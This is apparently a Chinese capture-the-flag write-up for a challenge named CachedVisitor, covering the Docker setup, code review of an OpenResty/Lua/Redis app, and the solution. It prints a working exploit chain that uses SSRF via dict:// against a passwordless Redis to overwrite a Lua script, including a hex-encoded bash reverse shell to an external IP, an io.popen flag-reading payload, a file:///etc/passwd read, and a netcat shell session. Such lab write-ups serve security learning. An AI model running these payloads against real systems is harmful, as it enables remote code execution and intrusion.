lua_redis_ssrf
CachedVisitor
第一次做redis又不会手法,尽量写详细点
构建项目
本地可以直接在当前目录下build image
docker build .
但是基本build失败的,挂代理
docker build --build-arg "HTTP_PROXY=http://192.168.177.1:7890" .
但是我这么干不行,重启docker也不行,gpt后这么干:
配置 Docker 守护进程的代理
sudo mkdir -p /etc/systemd/system/docker.service.d/
然后在该目录下创建一个 http-proxy.conf
文件:
sudo nano /etc/systemd/system/docker.service.d/http-proxy.conf
添加以下内容://按照自己设置的代理ip来
[Service]
Environment="HTTP_PROXY=http://192.168.177.1:7890"
Environment="HTTPS_PROXY=http://192.168.177.1:7890"
Environment="NO_PROXY=localhost,127.0.0.1"
重新build就行
然后就是查看build得到的image id
docker images
然后运行docker,起内外映射端口,看dockerfile可以知道是内部用了80端口,外部我们随便用一个2222,要指定image id,比如ab8c6792f20d
sudo docker run -d -p 2222:80 --name lua_ssrf ab8c6792f20d
访问本地2222端口就能做题了
大概的代码分析
文件结构
挑几个说说
start.sh
启动redis和openresty服务
- Redis 服务器 负责后台处理数据存储。
- OpenResty 负责处理 web 请求,并通过 Nginx 和 Lua 执行相关逻辑。
nginx.conf
events {
worker_connections 1024;//最大连接数
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;//监听80端口
server_name localhost;
//根路由
location / {
root html;//根目录是html目录
index index.html;//默认首页是index.html
}
//visit路由
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
lua_code_cache off;
}
}
main.lua
lua是nginx的轻量脚本语言
//读取指定文件全部内容并返回
local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end
local content = file:read("*a")
file:close()
return content
end
//提取并执行代码块
local function execute_lua_code(script_content)
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
local chunk, err = load(lua_code)
if chunk then
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
end
end
//主函数
local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
end
end
main()
redis.conf
搜 strong password字样定位到SECURITY,可以看到并没有任何参数,redis存在空密码
/script/visit.script
##LUA_START##
//加载依赖
local curl = require("cURL")
local redis = require("resty.redis")
//读取请求体以及获取url参数
ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url
if not url then
ngx.say("URL parameter is missing!")
return
end
//连接redis
local red = redis:new()
red:set_timeout(1000)
local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end
//检查缓存
local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end
//使用curl对外请求
local c = curl.easy {//创建一个curl请求
url = url,
timeout = 5,
connecttimeout = 5
}
local response_body = {}
c:setopt_writefunction(table.insert, response_body)//请求返回信息
local ok, err = pcall(c.perform, c)//pcall执行curl请求
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end
c:close()
local response_str = table.concat(response_body)//合并http响应内容为一个字符串
//缓存响应到redis
local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end
//返回响应
ngx.say(response_str)
##LUA_END##
做题
看到redis,这也是后来才知道,他能玩的点可以无脑dict协议的
首先gpt读代码,可以知道main.lua会读取visit.script中的所有内容并且执行,visit.script做的是一个curl请求并且返回内容。那明眼就是ssrf了。
file读一下看看
file:///etc/passwd
这个也是能读的,但是flag是读不了的
file:///readflag
因为在dockerfile中可以看到,当前用户是不够权限看到的
COPY flag /flag
RUN chmod 400 /flag
那具体思路就明朗了,就是需要用redis覆盖visit.script,来让服务器自己执行并返回内容,那可以直接让服务器执行readflag,或者执行反弹shell
可以看看这篇博客
SSRF---gopher和dict打redis_gopher dict协议攻击redis-CSDN博客
具体payload可以用这两篇文章的
文章 - Lua项目下SSRF利用Redis文件覆盖lua回显RCE - 先知社区
反弹shell
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config:set:dir:/scripts
dict://127.0.0.1:6379/config:set:dbfilename:visit.script
dict://127.0.0.1:6379/set:a:"\x23\x23\x4c\x55\x41\x5f\x53\x54\x41\x52\x54\x23\x23\x6f\x73\x2e\x65\x78\x65\x63\x75\x74\x65\x28\x22\x62\x61\x73\x68\x20\x2d\x63\x20\x20\x27\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x32\x34\x2e\x32\x32\x30\x2e\x33\x37\x2e\x31\x37\x33\x2f\x32\x33\x33\x33\x20\x30\x3e\x26\x31\x27\x22\x29\x23\x23\x4c\x55\x41\x5f\x45\x4e\x44\x23\x23"
dict://127.0.0.1:6379/save
直接读取
dict://127.0.0.1:6379/config set dir /scripts
dict://127.0.0.1:6379/config set dbfilename visit.script
dict://127.0.0.1:6379/flushall
//下面是一整句来的,这里不用编码主要是因为他用\n来避免脏数据
dict://127.0.0.1:6379/set shell “\n\n\n##LUA_START##ngx.say(io.popen(‘/readflag’):read(‘*a’))##LUA_END##\n\n\n”
dict://127.0.0.1:6379/save
我们现在直接用第一个payload来
本机接个shell
>nc -lvp 3344
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::3344
Ncat: Listening on 0.0.0.0:3344
Ncat: Connection from 192.168.177.131.
Ncat: Connection from 192.168.177.131:59920.
sh: 0: can't access tty; job control turned off
$ ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
readflag
redis.conf
root
run
sbin
scripts
srv
start.sh
sys
tmp
usr
var
$ ./readflag
flag{nice_try}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
2024-02-18 靶机 Matrix-Breakout 2 Morpheus